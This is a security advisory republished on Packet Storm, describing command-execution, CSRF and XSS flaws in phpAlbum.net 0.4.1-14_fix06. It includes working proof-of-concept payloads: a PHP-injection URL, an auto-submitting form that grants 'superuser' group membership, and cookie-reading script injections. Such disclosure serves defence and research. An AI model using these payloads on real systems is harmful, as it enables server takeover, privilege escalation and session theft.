what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

phpAlbum.net 0.4.1-14_fix06 XSS / XSRF / Command Execution

phpAlbum.net 0.4.1-14_fix06 XSS / XSRF / Command Execution
Posted Apr 14, 2011
Authored by High-Tech Bridge SA | Site htbridge.com

phpAlbum.net version 0.4.1-14_fix06 suffers from cross site request forgery, cross site scripting, and remote command execution vulnerabilities.

tags | exploit, remote, vulnerability, xss, csrf
SHA-256 | d3b3b2fe24c513488e371d057b26f458e7b0f4c91bfcc64d6293c28262d7bbbb

phpAlbum.net 0.4.1-14_fix06 XSS / XSRF / Command Execution

Change Mirror Download
====================================
Vulnerability ID: HTB22924
Reference: http://www.htbridge.ch/advisory/arbitrary_command_execution_in_phpalbum_net.html
Product: phpAlbum.net
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )
Vulnerable Version: 0.4.1-14_fix06
Vendor Notification: 31 March 2011
Vulnerability Type: Arbitrary Command Execution
Risk level: High
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
Arbitrary command execution vulnerability allows an attacker to execute system commands on a vulnerable system.

The vulnerability exists due to failure in the "phpdatabase.php" script to properly sanitize user-supplied input in "var3" variable.

The following PoC is available:

http://host/main.php?cmd=setup&var1=user&var3=1-file_put_contents('./x.xxx','xxxx')


====================================
Vulnerability ID: HTB22923
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phpalbum_net.html
Product: phpAlbum.net
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )
Vulnerable Version: 0.4.1-14_fix06
Vendor Notification: 31 March 2011
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
The vulnerability exists due to failure in the "main.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/main.php" method="post" name="main">
<input type="hidden" name="p_username_f" value="test">
<input type="hidden" name="p_password_f" value="">
<input type="hidden" name="p_retype_password_f" value="">
<input type="hidden" name="p_email_f" value="email@example.com">
<input type="hidden" name="p_homepage_f" value="http://www.example.com">
<input type="hidden" name="p_group1" value="guest">
<input type="hidden" name="p_group2" value="superuser">
<input type="hidden" name="p_userid_f" value="USERID">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="user">
<input type="hidden" name="var3" value="USERID">
<input type="hidden" name="var2" value="update">
</form>
<script>
document.main.submit();
</script>


====================================
Vulnerability ID: HTB22922
Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phpalbum_net.html
Product: phpAlbum.net
Vendor: Patrik Jakab ( http://www.phpalbum.net/ )
Vulnerable Version: 0.4.1-14_fix06
Vendor Notification: 31 March 2011
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "setup.php" script to properly sanitize user-supplied input in "var3", "p_new_group_name" variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:
1.

http://host/main.php?cmd=setup&var1=user&var3=1"><script>alert(document.cookie)</script>


2.

<form action="http://host/main.php" method="post" name="main">
<input type="hidden" name="cmd" value="setup">
<input type="hidden" name="var1" value="groups">
<input type="hidden" name="var2" value="add">
<input type="hidden" name="p_new_group_name" value='1"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close